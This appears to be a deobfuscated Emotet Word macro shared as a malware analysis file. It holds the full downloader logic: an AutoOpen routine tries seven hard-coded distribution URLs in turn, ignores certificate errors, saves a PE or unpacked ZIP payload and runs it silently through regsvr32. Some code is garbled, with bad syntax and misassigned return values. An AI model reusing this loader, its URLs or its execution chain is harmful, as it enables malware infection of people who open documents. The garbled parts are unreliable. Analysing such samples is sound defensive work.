Deobfuscated Emotet VBA Macro code

deobfuscate_emotet.vba

Function GenerateFilePath() As String  
    pathPropertyName = "Path"
    pathSeparator = "\"
    index = 2
    documentPath = CallByName(ActiveDocument, pathPropertyName, index)
    currentTime = GetFormattedTime()
    GenerateFilePath = documentPath & pathSeparator & currentTime 
End Function


Sub runRegsvr(filePath As String)
	Dim shellObject As Object
	Dim commandString As String
	executableFile = "regsvr32.exe"
	parameters = "/s "
	quote = """"
	parameters = parameters & quote & filePath & quote
	Set shellObject = createShellObject()
	runShellExecute shellObject, executableFile, parameters
End Sub


Function isPEFile(fileBytes() As Byte) As Integer
    Dim result As Integer
    result = 0
    isPEFile = result
    Dim minBytes As Integer
    minBytes = 1
    If UBound(fileBytes) > minBytes Then
        Dim mByte As Integer
        mByte = 77 '"M"
        Dim zByte As Integer
        zByte = 90 '"Z"
        If fileBytes(0) = mByte And fileBytes(1) = zByte Then 'PE FILE
            Dim isPE As Integer
            isPE = 1
            isPEFile = isPE
        End If
        Dim pByte As Integer
        pByte = 80
        Dim kByte As Integer
        kByte = 75
        If fileBytes(0) = pByte And fileBytes(1) = kByte Then 'ZIP file'
            Dim isPEPlus As Integer
            isPEPlus = 2
            isPEFile = isPEPlus
        End If
    End If
End Function



Sub SendHttpRequest(request As Object)
    Dim methodName As String
    methodName = "Send"
    
    Dim argCount As Integer
    argCount = 1
    
    CallByName request, methodName, argCount
End Sub

Sub AutoOpen()
	Dim savepath As String
	url1 = "http://xyktza.nbxyk.net/bwzysov/index/X3hFHbueMtgoEi/etaJ35/"
	url2 = "http://arlex.su/services/IE2h6fBsQRQOhHBI691U/"
	url3 = "http://api.660011.cc/wp-includes/b028GIRSxa4lY/"
	url4 = "http://www.garrett.kz/faq/B0faEHvS9msSo9xbVe/"
	url5 = "http://abrokov.com/lang/SZnqErcEtuE/"
	url6 = "http://rref.su/uchastniki/rNNdVArBjNc100n3p/"
	url7 = "http://mealux.by/pab4/wxuGxcqF85M/"
	file_extension = ".tmp"
	savepath = GenerateFilepath() // 'Generate a filepath with the current time formatted as "hhmmss" and assign it to savepath
	savepath = savepath & file_extension 'Append the file extension to savepath. 
	Dim downloadsuccess As Boolean
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url1, savepath) 'Attempt to download a file from url1 and save it to savepath. If successful, set downloadsuccess to True.
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url2, savepath) 'If not successful, try to download files from urls 2 to 7, and set downloadsuccess to True if any of the downloads succeed.
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url3, savepath) 
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url4, savepath) 
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url5, savepath) 
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url6, savepath) 
	End If
	If Not downloadsuccess Then
		downloadsuccess = DownloadFile(url7, savepath) 
	End If
	If downloadsuccess Then 'If downloadsuccess is True, run the runRegsvr function passing savepath as a parameter.
		runRegsvr savepath 'execute regsvr32.exe /s <savepath>
	End If
End Sub



Sub runShellExecute(obj As Object, executablePath As String, arguments As String)
    Dim windowStyle As String
    windowStyle = " "

    Dim functionName As String
    functionName = "ShellExecute"

    Dim callType As Integer
    callType = 1

    CallByName obj, functionName, callType, executablePath, windowStyle & arguments
End Sub


Function GetFormattedTime() As String
    Dim timeFormat As String
    timeFormat = "hhmmss"
    
    Dim currentTime As Date
    currentTime = Now()
    
    GetFormattedTime = Format(currentTime, timeFormat)
End Function


Function efyCWo() As Boolean
End Function

Sub SaveBytesToFile(bytes() As Byte, filepath As String)
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    SetBinaryMode stream
    WriteBytesToFile stream, bytes
    SaveToFile stream, filepath
    CloseStream stream
End Sub

Function objWinHttp() As Object
	oTgqq = "WinHttp.WinHttpRequest.5.1"
	Set objWinHttp = createObject(oTgqq)
End Function



Sub DeleteFolder(pthJgp As Object, mMxbNE As String)
	bFtJppJ = "DeleteFolder"
	Dim eNlri As Integer
	eNlri = 1
	CallByName pthJgp, bFtJppJ, eNlri, mMxbNE
End Sub


Function createObject(className As String) As Object
	Set createObject = CreateObject(className)
End Function

Function GetResponseBody(tynaamx As Object) As String
	rvS = "responseBody"
	Dim Mbm As Integer
	Mbm = 2
	ResponseBody = CallByName(tynaamx, rvS, Mbm)
End Function



Sub CreateFolder(obj As Object, path As String)
    Dim methodName As String
    methodName = "CreateFolder"
    Dim param As Integer
    param = 1
    CallByName obj, methodName, VbMethod, path
End Sub


Sub DeleteFile(objFSO As Object, filePath As String)
    deleteFile = "DeleteFile"
    Dim iReturn As Integer
    iReturn = 1
    CallByName objFSO, deleteFile, iReturn, filePath
End Sub


Sub WriteBytesToFile(fileObject As Object, byteArray() As Byte)
	Dim writeMethod As String
	writeMethod = "Write"
	Dim writeMode As Integer
	writeMode = 1
	CallByName fileObject, writeMethod, writeMode, byteArray
End Sub



Function GetFolderNamespace(objFSO As Object, folderPath As String) As Object
	Dim folderNamespace As Variant
	Dim namespaceKeyword As String
	namespaceKeyword = "Namespace"
	folderNamespace = CVar(folderPath)
	Dim namespaceCallType As Integer
	namespaceCallType = 1
	Set GetFolderNamespace = CallByName(objFSO, namespaceKeyword, namespaceCallType, folderNamespace)
End Function

Function DownloadFile(urlAs String, localPath As String) As Boolean
	Dim oWinhttp As Object
	Dim UmzVw As Object
	Dim Ql As Object
	Dim TDVqFfZ As Object
	Dim datetimenow As String
	Dim avdbm As String
	Dim respBody() As Byte
	Dim jlONwQjJ As Integer
	Dim VDOd As String
	Dim NDfmg As String
	DownloadFile = False

	HEFogEXS = "?"
	BcnONkW = "&c="

	datetimenow = lUE()
	avdbm = url & "?" & datetimenow & "&c=" & System.CountryRegion
	On Error GoTo bkKdCB
	Set oWinhttp = objWinHttp()
	OpenHttpRequest oWinhttp, avdbm
	SendHttpRequest oWinhttp
	If IsHttpResponseOk(oWinhttp) Then
		respBody = GetResponseBody(oWinhttp)
		jlONwQjJ = isPEFile(respBody)
		Dim heYTOT As Integer
		heYTOT = 1
		If jlONwQjJ = heYTOT Then
			SaveBytesToFile respBody, localPath
			DownloadFile = True
		End If
		Dim ijaD As Integer
		ijaD = 2
		If jlONwQjJ = ijaD Then
			Set Ql = getFileSystemObject()
			VDOd = GenerateFilepath()
			CreateFolder Ql, VDOd
			LBZso = ".zip"
			NDfmg = VDOd & LBZso
			SaveBytesToFile respBody, NDfmg
			Set TDVqFfZ = GetShellApplication()
			Set dGeu = GetFolderNamespace(TDVqFfZ, VDOd)
			Set jpZoOF = GetFolderNamespace(TDVqFfZ, NDfmg)
			HWfXYe = "CopyHere"
			Dim Fl As Integer
			Fl = 1
			Dim RkqMfCQ As Integer
			RkqMfCQ = 4
			CallByName dGeu, HWfXYe, Fl, jpZoOF.Items, RkqMfCQ
			kNUKtIG = "MoveFile"
			For Each dpW In dGeu.Items
				Dim kqKsOTxc As Integer
				kqKsOTxc = 1
				CallByName Ql, kNUKtIG, kqKsOTxc, dpW.Path, localPath
			Next
			DeleteFolder Ql, VDOd
			DeleteFile Ql, NDfmg
			DownloadFile = True
		End If
	End If
	Exit Function
	bkKdCB:
	DownloadFile = False
End Function


Function DownloadPEFile(url As String, localPath As String) As Boolean
	Dim oWinHttp As Object
	Dim fileSystemObj As Object
	Dim shellApp As Object
	Dim folderNamespace As Object
	Dim archiveFolderNamespace As Object
	Dim datetimeNow As String
	Dim urlParams As String
	Dim respBody() As Byte
	Dim isPE As Integer
	Dim archiveFolderPath As String
	Dim archiveFilePath As String
	Dim success As Boolean
	DownloadPEFile = False

	Dim urlParamSeparator As String = "?"
	Dim countryCodeParam As String = "&c="

	datetimeNow = GetLocalDateTime()
	urlParams = url & urlParamSeparator & datetimeNow & countryCodeParam & System.CountryRegion

	On Error GoTo ErrorOccurred

	Set oWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
	OpenHttpRequest oWinHttp, urlParams
	SendHttpRequest oWinHttp

	If IsHttpResponseOk(oWinHttp) Then
		respBody = GetResponseBody(oWinHttp)
		isPE = IsPEFile(respBody)
		
		If isPE = 1 Then 'PE File
			SaveBytesToFile respBody, localPath
			success = True
		ElseIf isPE = 2 Then 'Zip archive
			Set fileSystemObj = GetFileSystemObject()
			archiveFolderPath = GenerateFilepath()
			CreateFolder fileSystemObj, archiveFolderPath
			archiveFilePath = archiveFolderPath & ".zip"
			SaveBytesToFile respBody, archiveFilePath
			
			Set shellApp = GetShellApplication()
			Set folderNamespace = GetFolderNamespace(shellApp, archiveFolderPath)
			Set archiveFolderNamespace = GetFolderNamespace(shellApp, archiveFilePath)
			CallByName folderNamespace, "CopyHere", 1, archiveFolderNamespace.Items, 4
			
			For Each item In folderNamespace.Items
				CallByName fileSystemObj, "MoveFile", 1, item.Path, localPath
			Next
			
			DeleteFolder fileSystemObj, archiveFolderPath
			DeleteFile fileSystemObj, archiveFilePath
			success = True
		End If
	End If

	DownloadPEFile = success
	Exit Function

	ErrorOccurred:
	DownloadPEFile = False
End Function

Sub CloseConnection(conn As Object)
    methodName = "Close"
    Dim argCount As Integer
    argCount = 1
    CallByName conn, methodName, argCount
End Sub

Function GetShellApplication() As Object
	Dim shellAppString As String
	shellAppString = "Shell.Application"
	Set GetShellApplication = CreateObject(shellAppString)
End Function



Sub SetBinaryMode(obj As Object)
    methodName = "Type"
    Dim vbInteger As Integer
    vbInteger = 4
    Dim vbTrue As Integer
    vbTrue = 1
    CallByName obj, methodName, vbInteger, vbTrue
End Sub


Function IsHttpResponseOk(amYkWDJO As Object) As Boolean
	Dim KBk As Long
	BIqX = "Status"
	Dim DfuVf As Integer
	DfuVf = 2
	KBk = CallByName(amYkWDJO, BIqX, DfuVf)
	Dim EUciMBa As Integer
	EUciMBa = 200
	If KBk = EUciMBa Then
		IsHttpResponseOk = True
	End If
End Function


Function DecodedString(string_table As String, string_indexes() As Long, string_length As Long) As String
	Dim string_out As String
	Dim character As Variant
	Dim BqDgbMrx As Integer
	BqDgbMrx = 1
	string_length = string_length - BqDgbMrx
	Dim XlSn As Integer
	XlSn = 0
	For index = XlSn To string_length
		Dim dUS As Integer
		dUS = 1
		character = Mid(string_table, string_indexes(index), dUS)
		string_out = string_out & character
		Next index
		DecodedString = string_out
	End Function

Function objADODBStream() As Object
	zP = "ADODB.Stream"
	Set objADODBStream = createObject(zP)
End Function


Sub Open(HCUquGfg As Object)
	kcVTBAO = "Open"
	Dim tryCO As Integer
	tryCO = 1
	CallByName HCUquGfg, kcVTBAO, tryCO
End Sub

Sub SaveToFile(k As Object, EJpuq As String)
	WuppcEX = "SaveToFile"
	Dim fLY As Integer
	fLY = 1
	Dim IkFgI As Integer
	IkFgI = 2
	CallByName k, WuppcEX, fLY, EJpuq, IkFgI
End Sub

Function getFileSystemObject() As Object
	fileSystemObjectName = "Scripting.FileSystemObject"
	Set fileSystemObject = createObject(fileSystemObjectName)
End Function

Sub OpenHttpRequest(httpObject As Object, url As String)
	httpMethod = "Open"
	httpVerb = "GET"
	Dim async As Boolean
	async = False
	CallByName httpObject, httpMethod, 1, httpVerb, url, async
	httpOption = "Option"
	Dim resolveSslFlags As Integer
	resolveSslFlags = 4
	Dim ignoreSslErrors As Integer
	ignoreSslErrors = 4
	Dim intSslErrorIgnoreFlags As Integer
	intSslErrorIgnoreFlags = 13056
	CallByName httpObject, httpOption, resolveSslFlags, resolveSslFlags, intSslErrorIgnoreFlags
End Sub